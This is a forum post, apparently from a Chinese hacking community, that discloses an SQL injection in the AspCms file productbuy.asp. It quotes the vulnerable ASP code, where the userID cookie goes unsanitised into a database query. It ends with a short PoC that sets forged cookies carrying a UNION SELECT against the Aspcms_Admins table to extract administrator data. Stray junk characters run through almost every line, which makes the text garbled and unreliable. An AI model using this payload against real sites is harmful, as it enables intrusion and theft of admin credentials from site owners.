好久没上土司了,上来一看发现在删号名单内.....) ?4 C( v7 b0 i4 r
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。" u, @+ O+ d4 U8 E! ~0 Y
废话不多说,看代码:
" W3 w9 D) \6 `! u. ~5 d, ?3 u0 q4 a I! f8 O0 {7 s* T, \
<%
l" ~- U; }1 o" z! ^2 {+ Y# K }+ _& H4 L) W7 U7 o
if action = "buy" then
* `4 X/ O- R; t4 T
$ U- O ?: Q: c addOrder(); |* m: R9 @5 R, J$ i/ Q
- ]! ~) r X9 ^% Uelse' H c5 O% j8 Z7 a4 T0 L; A, k
) f3 H. ^9 H$ w$ D
echoContent()- J. ]( H* x# j' H( _
- r: r. r u+ W* C3 \) l* w
end if8 |% B* v/ W$ Z1 [3 h7 B; h
% n, t) W& Z; F
" b& E% ~& L& _# \
0 B1 c$ _* a# _5 K% N……略过
8 f: b2 t4 D6 h# u
) i0 ?, u- a; G
( l: C/ C/ D5 b; ]$ w# A: x& t/ B- A4 W! d8 p
Sub echoContent()
7 I! o8 i; ` Y% ?8 R) O0 c2 M% _4 }5 P' P4 K# I
dim id
$ x4 p0 ^* c7 _3 O6 a6 N
) u# q- I) F, u$ q, P id=getForm("id","get")
% `2 z% Q# O( z$ `; {; K3 S& ^
2 u% `, Y! K/ |# E$ I! D , j" }* [8 O& B7 R/ `5 T: x' a
0 r* l9 q/ \% Z6 Y( z1 s5 d" ] if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 4 j7 g& V* u, F3 Z
6 _3 f" J. ?4 X4 }# ?+ ?) g7 O' G5 E
# F0 V; a! ]7 K# u7 T# r( l6 m# E
$ C' _) T5 ~! p4 S) e8 v dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
$ L/ e! d7 O( t- V0 Y6 H* l$ T. a) j0 q; A: L9 D
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct! ~, M/ o( B/ h6 d" z
$ P, a% g7 ]# X L+ I: [% _ Dim templatePath,tempStr
+ N- C; P( J% G& Z) ^/ ?+ u8 ~( y) Y. U, `, ]2 _
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"" ~# B L6 }( E; j$ p
m( F7 T1 H' |) y" m( b, k
- ?( T+ z% `; Z0 _* g
& ]: Y9 A0 f) ^& }) O/ _9 n2 i set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")4 V" _* e. x* [
% H p; ^# }# X/ Z2 @( Y selectproduct=rsObj(0)
( |! @, W& ]0 b" L+ u, R! ^ G J8 M1 p0 A9 y4 f$ H
: U0 v" z4 I6 [* ]* K
( @0 `# \6 K6 z5 ? Dim linkman,gender,phone,mobile,email,qq,address,postcode
, j9 |9 ]$ x; s! l$ l! q( Y Z6 m! n
1 T* T( X6 s5 d) f+ a" l7 h W if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
$ ?$ ~1 \! K9 e9 f' i j5 a+ n# {) o. a. Q5 ?
if rCookie("loginstatus")=1 then
6 j' M, w- R9 q& g0 i$ I& s9 z- n* M* `- M! }
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")! W5 H; a) n5 k6 E5 g9 Q, o2 D
0 [- g7 C! y' B) K2 |, p
linkman=rsObj("truename")+ ?6 U0 {8 f, \* f
; O) K7 }: K+ `4 R+ a- X gender=rsObj("gender")5 q; u K& y$ ^' G
8 f; P3 ~; p: @5 }% K phone=rsObj("phone")
8 c6 P. G0 |' _) ]' {+ a6 J( _* A) t5 u, I. w
mobile=rsObj("mobile")
3 F: W" l: i' L+ Y3 d# B% H, W
8 b- _6 D: j5 [3 a2 J& e2 B$ a) ] email=rsObj("email")7 T$ V o( S! l4 G4 p
^$ _% j9 o( e, }4 }
qq=rsObj("qq")8 f6 \% ^6 `: r6 [" N
6 l: H% O, v2 L address=rsObj("address")+ }7 z1 Y2 l1 f7 h& J9 @- Q
0 L9 r( F: V8 n+ {3 o postcode=rsObj("postcode")
" s- F: i. A2 G% x" l4 s# x) }& v2 W- U! p
else
8 l; C# F w& H9 X8 v4 w$ ]1 g% L
" _) ]! I9 e2 W gender=1' }, l2 n" }3 K
4 G) a6 k( F& A' N6 C end if% h: P: ^/ j0 i( `( i' B
% w- h7 e+ E7 f
rsObj.close()1 `& C( W' a( B4 z" m
4 {1 b0 v7 K" `; ?" R
+ O& {, A, W' e% [. i7 k3 u9 n- Z( Y _& [1 Y
with templateObj + D# c2 n, a* T6 A- o' ]+ ?7 u+ y
0 _1 L* D" P7 F8 ~; U! j .content=loadFile(templatePath)
6 h/ K' K& B! ^ U2 f8 j1 h V6 i. A1 i% a7 X$ i, N6 ]- A
.parseHtml()
2 d7 h1 K- E0 d* V" l5 {! ^6 W+ y/ O9 i$ Q3 a# w" l
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)5 ]% p6 z2 h+ y
: |6 H! ? l# A( a8 j* E! ?: n
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
* v; F* E5 Y( u# y
# y8 Q+ k' f# R- f5 `4 Y4 q1 y .content=replaceStr(.content,"[aspcms:gender]",gender)
! b+ t% M- Z; S+ i! ^% @' A+ ^& H- j; m" \
.content=replaceStr(.content,"[aspcms:phone]",phone) 3 v) v" y' {% P1 @# |6 c
7 m& u$ |1 T( C4 u; W0 P- X .content=replaceStr(.content,"[aspcms:mobile]",mobile)
7 Z& p5 s5 |. T% v+ C$ g+ Y" K( `/ [, X. `8 q: l! o9 @$ v: _7 Q6 C) Q
.content=replaceStr(.content,"[aspcms:email]",email)
1 Q7 P7 j8 B# L2 U
}9 m5 ^; g3 w& P) H9 y .content=replaceStr(.content,"[aspcms:qq]",qq) # N; r& R3 ~0 C/ F% T& \
+ |! ~ R+ s* j% ^: w- ?! r6 @ .content=replaceStr(.content,"[aspcms:address]",address)
( t- O% o: \4 q# K. ~6 G+ O+ E/ H9 d3 R' T3 n* @8 i
.content=replaceStr(.content,"[aspcms:postcode]",postcode) $ f) y* Q" [" S3 u4 j% e \
& v* P, _5 V- R .parseCommon() ; U$ r2 d8 C. r" M, ~: Z9 x
" g& g* }( @" `$ E' N/ W* l echo .content
6 q/ E( Z: R- l; n7 U5 @& R- d" H; J
' A5 o9 |1 J7 U( ~) y. M% ?7 f end with
t+ g9 C: W# C1 u' v" d$ W; R/ ]- a+ Y
set templateobj =nothing : terminateAllObjects7 _, v: `# D/ p0 b5 X
8 Z+ V: \* p$ e2 NEnd Sub0 D& |8 y" ^' t0 B( s% |+ S% b
漏洞很明显,没啥好说的
& E0 B' s& L, v4 U( |poc:+ r: s: x& ]) A: s9 p0 p% `0 D
3 W8 Y# e% f, S. B3 Ojavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子$ H; \. n0 ]7 h, j
( o/ F* K: T; v: V/ r# A
|